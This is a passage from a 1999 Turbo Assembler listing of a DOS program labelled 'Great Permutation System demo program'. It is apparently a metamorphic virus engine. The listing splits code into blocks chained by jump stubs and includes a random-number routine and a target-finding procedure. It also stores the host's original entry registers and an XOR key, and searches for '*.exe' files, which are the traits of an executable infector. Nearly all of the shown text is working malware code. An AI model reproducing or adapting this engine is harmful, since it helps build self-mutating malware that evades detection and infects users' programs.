    923	    04BF  FFE6			 DW OFFSET FT1-$-2
    924		  =OFFSET 0047		 GPSVAR_00218 EQU OFFSET GPS_00219-OFFSET GPS_00218 OR 40H
    925	    04C1			 GPS_00218:
    926	    04C1  8B 87	146Er		 FT2: MOV AX,DS:[BLOCKOFS2+BX]
    927	    04C5  E9 00	00		 DB 0E9H, 0, 0
    928		  =OFFSET 0046		 GPSVAR_00219 EQU OFFSET GPS_00220-OFFSET GPS_00219 OR 40H
    929	    04C8			 GPS_00219:
    930	    04C8  05 0927		 ADD AX,OFFSET CODE2-OFFSET START
    931	    04CB  E9 00	00		 DB 0E9H, 0, 0
    932		  =OFFSET 0044		 GPSVAR_00220 EQU OFFSET GPS_00221-OFFSET GPS_00220 OR 40H
    933	    04CE			 GPS_00220:
    934	    04CE  5B			 POP BX
    935	    04CF  E9 00	00		 DB 0E9H, 0, 0
    936		  =OFFSET 0001		 GPSVAR_00221 EQU OFFSET GPS_00222-OFFSET GPS_00221
    937	    04D2			 GPS_00221:
    938	    04D2  C3			 RET
    939	    04D3			 FINDTARGET ENDP
    940	    04D3			 RANDOMIZE PROC	NEAR
    941		  =OFFSET 0045		 GPSVAR_00222 EQU OFFSET GPS_00223-OFFSET GPS_00222 OR 40H
    942	    04D3			 GPS_00222:
    943	    04D3  B4 2C			 MOV AH,2CH
    944	    04D5  E9 00	00		 DB 0E9H, 0, 0
    945		  =OFFSET 0045		 GPSVAR_00223 EQU OFFSET GPS_00224-OFFSET GPS_00223 OR 40H
    946	    04D8			 GPS_00223:
    947	    04D8  CD 21			 INT 21H
    948	    04DA  E9 00	00		 DB 0E9H, 0, 0
    949		  =OFFSET 0047		 GPSVAR_00224 EQU OFFSET GPS_00225-OFFSET GPS_00224 OR 40H
    950	    04DD			 GPS_00224:
    951	    04DD  89 0E	16D5r		 MOV WORD PTR DS:[RANDSEED],CX
    952	    04E1  E9 00	00		 DB 0E9H, 0, 0
    953		  =OFFSET 0047		 GPSVAR_00225 EQU OFFSET GPS_00226-OFFSET GPS_00225 OR 40H
    954	    04E4			 GPS_00225:
    955	    04E4  89 16	16D7r		 MOV WORD PTR DS:[RANDSEED+2],DX
    956	    04E8  E9 00	00		 DB 0E9H, 0, 0
    957		  =OFFSET 0001		 GPSVAR_00226 EQU OFFSET GPS_00227-OFFSET GPS_00226
    958	    04EB			 GPS_00226:
    959	    04EB  C3			 RET
    960	    04EC			 RANDOMIZE ENDP
    961	    04EC			 RANDOM	PROC NEAR
    962		  =OFFSET 0044		 GPSVAR_00227 EQU OFFSET GPS_00228-OFFSET GPS_00227 OR 40H
    963	    04EC			 GPS_00227:
    964	    04EC  53			 PUSH BX
    965	    04ED  E9 00	00		 DB 0E9H, 0, 0
    966		  =OFFSET 0044		 GPSVAR_00228 EQU OFFSET GPS_00229-OFFSET GPS_00228 OR 40H
    967	    04F0			 GPS_00228:
    968	    04F0  51			 PUSH CX
    969	    04F1  E9 00	00		 DB 0E9H, 0, 0
Turbo Assembler	 Version 3.2	    03/23/99 20:59:08	    Page 18
gps.prc



    970		  =OFFSET 0044		 GPSVAR_00229 EQU OFFSET GPS_00230-OFFSET GPS_00229 OR 40H
    971	    04F4			 GPS_00229:
    972	    04F4  52			 PUSH DX
    973	    04F5  E9 00	00		 DB 0E9H, 0, 0
    974		  =OFFSET 0044		 GPSVAR_00230 EQU OFFSET GPS_00231-OFFSET GPS_00230 OR 40H
    975	    04F8			 GPS_00230:
    976	    04F8  56			 PUSH SI
    977	    04F9  E9 00	00		 DB 0E9H, 0, 0
    978		  =OFFSET 0045		 GPSVAR_00231 EQU OFFSET GPS_00232-OFFSET GPS_00231 OR 40H
    979	    04FC			 GPS_00231:
    980	    04FC  8B F0			 MOV SI,AX
    981	    04FE  E9 00	00		 DB 0E9H, 0, 0
    982		  =OFFSET 0046		 GPSVAR_00232 EQU OFFSET GPS_00233-OFFSET GPS_00232 OR 40H
    983	    0501			 GPS_00232:
    984	    0501  A1 16D5r		 MOV AX,WORD PTR DS:[RANDSEED]
    985	    0504  E9 00	00		 DB 0E9H, 0, 0
    986		  =OFFSET 0047		 GPSVAR_00233 EQU OFFSET GPS_00234-OFFSET GPS_00233 OR 40H
    987	    0507			 GPS_00233:
    988	    0507  8B 1E	16D7r		 MOV BX,WORD PTR DS:[RANDSEED+2]
    989	    050B  E9 00	00		 DB 0E9H, 0, 0
    990		  =OFFSET 0045		 GPSVAR_00234 EQU OFFSET GPS_00235-OFFSET GPS_00234 OR 40H
    991	    050E			 GPS_00234:
    992	    050E  8B C8			 MOV CX,AX
    993	    0510  E9 00	00		 DB 0E9H, 0, 0
    994		  =OFFSET 0047		 GPSVAR_00235 EQU OFFSET GPS_00236-OFFSET GPS_00235 OR 40H
    995	    0513			 GPS_00235:
    996	    0513  F7 26	05ACr		 MUL DS:[RANDMAGIC]
    997	    0517  E9 00	00		 DB 0E9H, 0, 0
    998		  =OFFSET 0046		 GPSVAR_00236 EQU OFFSET GPS_00237-OFFSET GPS_00236 OR 40H
    999	    051A			 GPS_00236:
   1000	    051A  C1 E1	03		 SHL CX,3
   1001	    051D  E9 00	00		 DB 0E9H, 0, 0
   1002		  =OFFSET 0045		 GPSVAR_00237 EQU OFFSET GPS_00238-OFFSET GPS_00237 OR 40H
   1003	    0520			 GPS_00237:
   1004	    0520  02 E9			 ADD CH,CL
   1005	    0522  E9 00	00		 DB 0E9H, 0, 0
   1006		  =OFFSET 0045		 GPSVAR_00238 EQU OFFSET GPS_00239-OFFSET GPS_00238 OR 40H
   1007	    0525			 GPS_00238:
   1008	    0525  03 D1			 ADD DX,CX
   1009	    0527  E9 00	00		 DB 0E9H, 0, 0
   1010		  =OFFSET 0045		 GPSVAR_00239 EQU OFFSET GPS_00240-OFFSET GPS_00239 OR 40H
   1011	    052A			 GPS_00239:
   1012	    052A  03 D3			 ADD DX,BX
   1013	    052C  E9 00	00		 DB 0E9H, 0, 0
   1014		  =OFFSET 0046		 GPSVAR_00240 EQU OFFSET GPS_00241-OFFSET GPS_00240 OR 40H
   1015	    052F			 GPS_00240:
   1016	    052F  C1 E3	02		 SHL BX,2
   1017	    0532  E9 00	00		 DB 0E9H, 0, 0
   1018		  =OFFSET 0045		 GPSVAR_00241 EQU OFFSET GPS_00242-OFFSET GPS_00241 OR 40H
   1019	    0535			 GPS_00241:
   1020	    0535  03 D3			 ADD DX,BX
   1021	    0537  E9 00	00		 DB 0E9H, 0, 0
   1022		  =OFFSET 0045		 GPSVAR_00242 EQU OFFSET GPS_00243-OFFSET GPS_00242 OR 40H
   1023	    053A			 GPS_00242:
   1024	    053A  02 F3			 ADD DH,BL
   1025	    053C  E9 00	00		 DB 0E9H, 0, 0
   1026		  =OFFSET 0046		 GPSVAR_00243 EQU OFFSET GPS_00244-OFFSET GPS_00243 OR 40H
Turbo Assembler	 Version 3.2	    03/23/99 20:59:08	    Page 19
gps.prc



   1027	    053F			 GPS_00243:
   1028	    053F  C1 E3	05		 SHL BX,5
   1029	    0542  E9 00	00		 DB 0E9H, 0, 0
   1030		  =OFFSET 0045		 GPSVAR_00244 EQU OFFSET GPS_00245-OFFSET GPS_00244 OR 40H
   1031	    0545			 GPS_00244:
   1032	    0545  02 F3			 ADD DH,BL
   1033	    0547  E9 00	00		 DB 0E9H, 0, 0
   1034		  =OFFSET 0046		 GPSVAR_00245 EQU OFFSET GPS_00246-OFFSET GPS_00245 OR 40H
   1035	    054A			 GPS_00245:
   1036	    054A  05 0001		 ADD AX,1
   1037	    054D  E9 00	00		 DB 0E9H, 0, 0
   1038		  =OFFSET 0046		 GPSVAR_00246 EQU OFFSET GPS_00247-OFFSET GPS_00246 OR 40H
   1039	    0550			 GPS_00246:
   1040	    0550  83 D2	00		 ADC DX,0
   1041	    0553  E9 00	00		 DB 0E9H, 0, 0
   1042		  =OFFSET 0046		 GPSVAR_00247 EQU OFFSET GPS_00248-OFFSET GPS_00247 OR 40H
   1043	    0556			 GPS_00247:
   1044	    0556  A3 16D5r		 MOV WORD PTR DS:[RANDSEED],AX
   1045	    0559  E9 00	00		 DB 0E9H, 0, 0
   1046		  =OFFSET 0047		 GPSVAR_00248 EQU OFFSET GPS_00249-OFFSET GPS_00248 OR 40H
   1047	    055C			 GPS_00248:
   1048	    055C  89 16	16D7r		 MOV WORD PTR DS:[RANDSEED+2],DX
   1049	    0560  E9 00	00		 DB 0E9H, 0, 0
   1050		  =OFFSET 0045		 GPSVAR_00249 EQU OFFSET GPS_00250-OFFSET GPS_00249 OR 40H
   1051	    0563			 GPS_00249:
   1052	    0563  8B CA			 MOV CX,DX
   1053	    0565  E9 00	00		 DB 0E9H, 0, 0
   1054		  =OFFSET 0045		 GPSVAR_00250 EQU OFFSET GPS_00251-OFFSET GPS_00250 OR 40H
   1055	    0568			 GPS_00250:
   1056	    0568  F7 E6			 MUL SI
   1057	    056A  E9 00	00		 DB 0E9H, 0, 0
   1058		  =OFFSET 0045		 GPSVAR_00251 EQU OFFSET GPS_00252-OFFSET GPS_00251 OR 40H
   1059	    056D			 GPS_00251:
   1060	    056D  8B C1			 MOV AX,CX
   1061	    056F  E9 00	00		 DB 0E9H, 0, 0
   1062		  =OFFSET 0045		 GPSVAR_00252 EQU OFFSET GPS_00253-OFFSET GPS_00252 OR 40H
   1063	    0572			 GPS_00252:
   1064	    0572  8B CA			 MOV CX,DX
   1065	    0574  E9 00	00		 DB 0E9H, 0, 0
   1066		  =OFFSET 0045		 GPSVAR_00253 EQU OFFSET GPS_00254-OFFSET GPS_00253 OR 40H
   1067	    0577			 GPS_00253:
   1068	    0577  F7 E6			 MUL SI
   1069	    0579  E9 00	00		 DB 0E9H, 0, 0
   1070		  =OFFSET 0045		 GPSVAR_00254 EQU OFFSET GPS_00255-OFFSET GPS_00254 OR 40H
   1071	    057C			 GPS_00254:
   1072	    057C  03 C1			 ADD AX,CX
   1073	    057E  E9 00	00		 DB 0E9H, 0, 0
   1074		  =OFFSET 0046		 GPSVAR_00255 EQU OFFSET GPS_00256-OFFSET GPS_00255 OR 40H
   1075	    0581			 GPS_00255:
   1076	    0581  83 D2	00		 ADC DX,0
   1077	    0584  E9 00	00		 DB 0E9H, 0, 0
   1078		  =OFFSET 0045		 GPSVAR_00256 EQU OFFSET GPS_00257-OFFSET GPS_00256 OR 40H
   1079	    0587			 GPS_00256:
   1080	    0587  8B C2			 MOV AX,DX
   1081	    0589  E9 00	00		 DB 0E9H, 0, 0
   1082		  =OFFSET 0044		 GPSVAR_00257 EQU OFFSET GPS_00258-OFFSET GPS_00257 OR 40H
   1083	    058C			 GPS_00257:
Turbo Assembler	 Version 3.2	    03/23/99 20:59:08	    Page 20
gps.prc



   1084	    058C  5E			 POP SI
   1085	    058D  E9 00	00		 DB 0E9H, 0, 0
   1086		  =OFFSET 0044		 GPSVAR_00258 EQU OFFSET GPS_00259-OFFSET GPS_00258 OR 40H
   1087	    0590			 GPS_00258:
   1088	    0590  5A			 POP DX
   1089	    0591  E9 00	00		 DB 0E9H, 0, 0
   1090		  =OFFSET 0044		 GPSVAR_00259 EQU OFFSET GPS_00260-OFFSET GPS_00259 OR 40H
   1091	    0594			 GPS_00259:
   1092	    0594  59			 POP CX
   1093	    0595  E9 00	00		 DB 0E9H, 0, 0
   1094		  =OFFSET 0044		 GPSVAR_00260 EQU OFFSET GPS_00261-OFFSET GPS_00260 OR 40H
   1095	    0598			 GPS_00260:
   1096	    0598  5B			 POP BX
   1097	    0599  E9 00	00		 DB 0E9H, 0, 0
   1098		  =OFFSET 0001		 GPSVAR_00261 EQU OFFSET GPS_00262-OFFSET GPS_00261
   1099	    059C			 GPS_00261:
   1100	    059C  C3			 RET
   1101	    059D			 RANDOM	ENDP
   1102	    059D			 GPS_00262:
   1103					 ;#CODEEND
   1104	    059D  0000			 Old_ip			 dw 0
   1105	    059F  0010			 Old_cs			 dw 10h
   1106	    05A1  1000			 Old_sp			 dw 4096
   1107	    05A3  0010			 Old_ss			 dw 10h
   1108	    05A5  00			 XorKey			 db 0
   1109	    05A6			 ExData:
   1110	    05A6  2A 2E	65 78 65 00	 Exe			 db '*.exe',0
   1111	    05AC  8405			 RandMagic		 dw 8405h
   1112	    05AE  0D 0A			 Copyright		 db 13,10
   1113	    05B0  20 47	72 65 61 74 20+				 db ' Great Permutation	System demo program'
   1114		  50 65	72 6D 75 74 61+
   1115		  74 69	6F 6E 20 53 79+
   1116		  73 74	65 6D 20 64 65+
   1117		  6D 6F	20 70 72 6F 67+
   1118		  72 61	6D
   1119	    05D6  0D 0A						 db 13,10
   1120	    05D8  20 43	6F 70 79 72 69+				 db ' Copyright	(C) 1999 by Tahorg'
   1121		  67 68	74 20 28 43 29+
   1122		  20 31	39 39 39 20 62+
   1123		  79 20	54 61 68 6F 72+
   1124		  67
   1125	    05F5  0D 0A						 db 13,10
   1126		  =0110			 N			 equ 110h
   1127	    05F7  0110*(????)		 BlockPos		 dw N dup (?)
   1128	    0817  0110*(??)		 BlockSize		 db N dup (?)
   1129	    0927  059D*(??)		 Code2			 db (Old_ip-Start) dup (?)
   1130	    0EC4  0000			 Old_ip2		 dw (?)
   1131	    0EC6  0000			 Old_cs2		 dw (?)
   1132	    0EC8  0000			 Old_sp2		 dw (?)
   1133	    0ECA  0000			 Old_ss2		 dw (?)
   1134	    0ECC  00			 XorKey2		 db (?)
   1135	    0ECD  51*(??)		 Data2			 db (BlockPos-ExData) dup (?)
   1136	    0F1E  0110*(????)		 BlockPos2		 dw N dup (?)
   1137	    113E  0110*(??)		 BlockSize2		 db N dup (?)
   1138	    124E  0110*(????)		 BlockOfs		 dw N dup (?)
   1139	    146E  0110*(????)		 BlockOfs2		 dw N dup (?)
   1140	    168E  1C*(??)		 Header			 db 1ch	dup (?)
Turbo Assembler	 Version 3.2	    03/23/99 20:59:08	    Page 21
gps.prc



   1141	    16AA  2B*(??)		 DTA			 db 43 dup (?)
   1142	    16D5  00000000		 RandSeed		 dd (?)
   1143	    16D9			 DataEnd:
   1144	    16D9			 Vseg ends
   1145	    0000			 Sseg segment use16 stack
   1146	    0000  1000*(??)					 db 4096 dup (?)
   1147	    1000			 Sseg ends
   1148					 end Start
